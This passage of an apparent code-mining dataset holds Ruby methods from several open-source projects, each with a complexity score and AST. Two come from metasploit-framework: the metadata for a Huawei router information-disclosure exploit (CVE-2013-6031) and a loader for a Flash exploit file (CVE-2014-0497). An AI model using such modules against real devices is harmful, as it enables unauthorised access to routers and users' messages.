]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pending\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"pending\"]},\"count\"]}]}]}]}]}]}]}","id":"ef0fc4e4-4979-4a32-876f-276f69b26b77"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/huawei_wifi_info.rb","start_line":52,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Huawei Datacard Information Disclosure Vulnerability\",\n        'Description' => %q{\n          This module exploits an unauthenticated information disclosure vulnerability in Huawei\n          SOHO routers. The module will gather information by accessing the /api pages where\n          authentication is not required, allowing configuration changes as well as information\n          disclosure, including any stored SMS.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Jimson K James',\n          'Tom James <tomsmaily[at]aczire.com>', # Msf module\n        ],\n        'References' => [\n          ['CWE', '425'],\n          ['CVE', '2013-6031'],\n          ['US-CERT-VU', '341526']\n        ],\n        'DisclosureDate' => '2013-11-11',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RHOST('mobilewifi.home')\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Huawei Datacard Information Disclosure Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unauthenticated information disclosure vulnerability in Huawei\\n\"]},{\"type\":\"str\",\"children\":[\"          SOHO routers. The module will gather information by accessing the /api pages where\\n\"]},{\"type\":\"str\",\"children\":[\"          authentication is not required, allowing configuration changes as well as information\\n\"]},{\"type\":\"str\",\"children\":[\"          disclosure, including any stored SMS.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jimson K James\"]},{\"type\":\"str\",\"children\":[\"Tom James <tomsmaily[at]aczire.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWE\"]},{\"type\":\"str\",\"children\":[\"425\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-6031\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"341526\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-11-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOST\",{\"type\":\"str\",\"children\":[\"mobilewifi.home\"]}]}]}]}]}]}","id":"9865071e-73ab-41de-a4f6-9a5a61334e34"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/modules/module_license.rb","start_line":24,"raw_source":"def lic_short(l)\n  if (l.class == Array)\n    l = l[0]\n  end\n\n  case l\n  when MSF_LICENSE\n    'MSF'\n  when GPL_LICENSE\n    'GPL'\n  when BSD_LICENSE\n    'BSD'\n  when ARTISTIC_LICENSE\n    'ART'\n  else\n    'UNK'\n  end\nend","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"lic_short\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"l\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]},{\"type\":\"str\",\"children\":[\"MSF\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GPL_LICENSE\"]},{\"type\":\"str\",\"children\":[\"GPL\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]},{\"type\":\"str\",\"children\":[\"BSD\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTISTIC_LICENSE\"]},{\"type\":\"str\",\"children\":[\"ART\"]}]},{\"type\":\"str\",\"children\":[\"UNK\"]}]}]}]}","id":"7cf66df5-57c5-46a9-b2ac-e959908ba42e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_avm2.rb","start_line":128,"raw_source":"def create_swf\n    path = ::File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2014-0497\", \"Vickers.swf\")\n    swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_swf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2014-0497\"]},{\"type\":\"str\",\"children\":[\"Vickers.swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"swf\"]}]}]}","id":"6e31a4c1-bf00-4907-a290-aaed4a188ea3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/timestamp_test.rb","start_line":149,"raw_source":"def test_touching_a_record_without_timestamps_is_unexceptional\n    assert_nothing_raised { Car.first.touch }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_touching_a_record_without_timestamps_is_unexceptional\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"first\"]},\"touch\"]}]}]}","id":"5ae96f61-3e58-4d31-99e3-2ae2cc76848f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_snmp.rb","start_line":118,"raw_source":"def self.subst_oid(oid, base = nil)\n    oid = oid.strip\n\n    # Set base to our enterprise oid, if uninitialize\n    base = enterprise_oid_string if base.nil?\n\n    # If it begins with a dot, append it to the base\n    return \"#{base}#{oid}\" if oid[0, 1] == \".\"\n\n    # Need to move these to ManageIQ MIB\n    case oid.downcase\n          when \"info\"                         then \"#{enterprise_oid_string}.1\"\n          when \"warn\", \"warning\"              then \"#{enterprise_oid_string}.2\"\n          when \"crit\", \"critical\", \"error\"    then \"#{enterprise_oid_string}.3\"\n          when \"description\"                  then \"#{base}.1\"\n          when \"category\"                     then \"#{base}.2\"\n          when \"message\"                      then \"#{base}.3\"\n          when \"object\"                       then \"#{base}.4\"\n          when \"location\"                     then \"#{base}.5\"\n          when \"platform\"                     then \"#{base}.6\"\n          when \"url\"                          then \"#{base}.7\"\n          when \"source\"                       then \"#{base}.8\"\n          when \"custom1\"                      then \"#{base}.9\"\n          when \"custom2\"                      then \"#{base}.10\"\n          else                                     oid\n          end\n  end","complexity_score":30.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"subst_oid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oid\"]},{\"type\":\"optarg\",\"children\":[\"base\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oid\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[null,\"enterprise_oid_string\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oid\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oid\"]}]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oid\"]},\"downcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enterprise_oid_string\"]}]},{\"type\":\"str\",\"children\":[\".1\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"warn\"]},{\"type\":\"str\",\"children\":[\"warning\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enterprise_oid_string\"]}]},{\"type\":\"str\",\"children\":[\".2\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"crit\"]},{\"type\":\"str\",\"children\":[\"critical\"]},{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enterprise_oid_string\"]}]},{\"type\":\"str\",\"children\":[\".3\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".1\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"category\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".2\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".3\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"object\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".4\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"location\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".5\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".6\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".7\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"source\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".8\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"custom1\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".9\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"custom2\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".10\"]}]}]},{\"type\":\"lvar\",\"children\":[\"oid\"]}]}]}]}","id":"c7cdde2f-c6c2-4d97-b4d3-67dd1a0f7c18"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_request_mixin.rb","start_line":88,"raw_source":"def add_tag(category, tag_name)\n    cat = Classification.lookup_by_name(category.to_s)\n    return if cat.nil?\n\n    tag = cat.children.detect { |t| t.name.casecmp(tag_name.to_s) == 0 }\n    return if tag.nil?\n\n    self.tag_ids ||= []\n    unless self.tag_ids.include?(tag.id)\n      self.tag_ids << tag.id\n      update_attribute(:options, options)\n    end\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Classification\"]},\"lookup_by_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat\"]},\"children\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"casecmp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]},\"to_s\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"update_attribute\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}]}]}]}","id":"abedf226-951b-40de-9aa5-f6116293b675"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_snmp.rb","start_line":104,"raw_source":"def self.create_var_bind_list(object_list, base = nil)\n    vars = []\n    object_list.each do |tuple|\n      oid      = subst_oid(tuple[:oid], base)\n      value    = tuple[:value]\n      type     = tuple[:type] || tuple[:var_type]\n      snmpType = AVAILABLE_TYPES_HASH[type]\n      snmpVal  = (snmpType == SNMP::Null) ? SNMP::Null.new : snmpType.new(value)\n      vars << SNMP::VarBind.new(oid, snmpVal)\n    end\n    vars\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_var_bind_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_list\"]},{\"type\":\"optarg\",\"children\":[\"base\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vars\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tuple\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oid\",{\"type\":\"send\",\"children\":[null,\"subst_oid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuple\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"oid\"]}]},{\"type\":\"lvar\",\"children\":[\"base\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuple\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuple\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuple\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"var_type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"snmpType\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AVAILABLE_TYPES_HASH\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"snmpVal\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmpType\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Null\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"Null\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmpType\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"VarBind\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"oid\"]},{\"type\":\"lvar\",\"children\":[\"snmpVal\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"vars\"]}]}]}","id":"9b87e722-da59-44a0-ab15-40940bb33d26"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/route_helper.rb","start_line":52,"raw_source":"def add_resources_routes\n    existing_routes = @tracker.routes[@current_controller]\n\n    unless existing_routes.is_a? Array and existing_routes.first == :allow_all_actions\n      existing_routes.merge [:index, :new, :create, :show, :edit, :update, :destroy]\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_resources_routes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_routes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"routes\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@current_controller\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_routes\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_routes\"]},\"first\"]},\"==\",{\"type\":\"sym\",\"children\":[\"allow_all_actions\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_routes\"]},\"merge\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]}]}","id":"d48dcb57-9988-417e-b760-4a75cf7b022d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/member_serializer.rb","start_line":6,"raw_source":"def represent(members, opts = {})\n    LastGroupOwnerAssigner.new(opts[:group], members).execute unless opts[:source].is_a?(Project)\n    Members::InvitedPrivateGroupAccessibilityAssigner\n      .new(members, source: opts[:source], current_user: opts[:current_user]).execute\n\n    super(members, opts)\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"represent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"members\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LastGroupOwnerAssigner\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},{\"type\":\"lvar\",\"children\":[\"members\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"InvitedPrivateGroupAccessibilityAssigner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"members\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}]}]},\"execute\"]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"f9cb746a-6652-4323-9b36-a0fefb9a97f9"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/migrate/20240323160300_create_stats.rb","start_line":2,"raw_source":"def change\n    create_table :stats do |t|\n      t.integer :year, null: false\n      t.integer :month, null: false\n      t.integer :distance, null: false\n      t.jsonb :toponyms\n\n      t.timestamps\n    end\n    add_index :stats, :year\n    add_index :stats, :month\n    add_index :stats, :distance\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"stats\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"distance\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"toponyms\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"sym\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"sym\",\"children\":[\"distance\"]}]}]}]}","id":"7e8d063e-71da-4cf8-b892-276631987076"}
